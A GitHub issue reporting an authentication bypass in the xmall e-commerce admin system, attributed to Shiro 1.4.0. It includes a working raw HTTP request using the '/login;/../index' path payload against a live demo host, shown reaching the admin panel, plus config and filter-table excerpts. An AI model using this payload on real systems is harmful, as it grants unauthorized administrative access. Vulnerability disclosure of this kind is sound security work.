New issue

There is an Incorrect Access Control vulnerability in xmall #96

Open

RacerZ-fighting opened on Nov 23, 2024

[Suggested description]
xmall was found to have an Incorrect Access Control vulnerability due to the use of an insecure version of Shiro.

[Vulnerability Type]
Incorrect access control

[Vendor of Product]
https://github.com/Exrick/xmall

[Affected Product Code Base]
all version (<= v1.1)

[Affected Component]
All interface require authentication

[Attack Type]
Remote

[Vulnerability details]
Send the payload below to the interface /index

```
GET /login;/../index HTTP/1.1
Host: xmadmin.exrick.cn
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: xmadmin.exrick.cn
Connection: keep-alive
Cookie: JSESSIONID=AFB6620FA06404C85D9C5E285E193F8C
```

GET http://xmadmin.exrick.cn/index Send

RacerZ Running at Sep 26, 2024 at 15:29:25

Params Body Headers Cookies Pre Processors Post Processors Auth Settings

Query Params

Name	Value	Type	Description
Add a new param			

Body Cookies 1 Headers 8 Console Actual Request • Share

200 58 ms 8.82 K

Pretty Raw Preview Visualize

XMall后台管理系统

Login Here

用户名

密码

游客体验账号密码?

登录

GET http://xmadmin.exrick.cn/login;/../index Send

RacerZ Running at Sep 26, 2024 at 15:29:25

Params Body Headers Cookies Pre Processors Post Processors Auth Settings

Query Params

Name	Value	Type	Description
Add a new param			

Body Cookies 1 Headers 8 Console Actual Request • Share

200 92 ms 15.87 K

Pretty Raw Preview Visualize

XMall后台管理系统 XMall后台管理系统 v1.1 __

- __ 新增 __
  - __ 商品
  - __ 用户
- 平台
- 财务
- XPay支付系统
- XBoot一站式开发平台
- 商城前台
-
- __
  - 个人信息
  - 切换账户
  - 退出
-
- __
- 3
- __
  - 默认（蓝色）
  - 黑色
  - 绿色
  - 红色
  - 黄色
  - 橙色

商城内容管理

- 首页导航栏管理
- 首页板块管理
- 首页轮播图管理
- 首页板块内容管理

[Cause of vulnerability]
Shiro is used for authentication in Xmall, but version 1.4.0 contains an insecure implementation

```
<elasticsearch.version>6.2.3</elasticsearch.version>
<log4j.version>2.9.1</log4j.version>
<shiro.version>1.4.0</shiro.version>
<json.version>20171018</json.version>
<mail.version>1.5.0-b01</mail.version>
```

Meanwhile, xmall includes some interfaces configured without permission requirements, enabling the exploitation of vulnerabilities in Shiro's implementation to achieve authentication bypass.

```
INSERT INTO `tb_shiro_filter` VALUES ('1', '/login', 'anon', '1');
INSERT INTO `tb_shiro_filter` VALUES ('2', '/403', 'anon', '2');
INSERT INTO `tb_shiro_filter` VALUES ('3', '/', 'authc', '3');
INSERT INTO `tb_shiro_filter` VALUES ('7', '/index', 'authc', '4');
INSERT INTO `tb_shiro_filter` VALUES ('8', '/welcome', 'authc', '5');
INSERT INTO `tb_shiro_filter` VALUES ('9', '/thanks-pic', 'authc', '6');
INSERT INTO `tb_shiro_filter` VALUES ('10', '/lock-screen', 'authc', '7');
INSERT INTO `tb_shiro_filter` VALUES ('11', '/user/logout', 'authc', '8');
INSERT INTO `tb_shiro_filter` VALUES ('12', '/user/userInfo', 'authc', '9');
```

👀 1

leopoldwalden on Nov 23, 2024 via email

您的邮件我已收到，祝您工作顺利、生活愉快。

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with Copilot Agent Mode

No branches or pull requests

Participants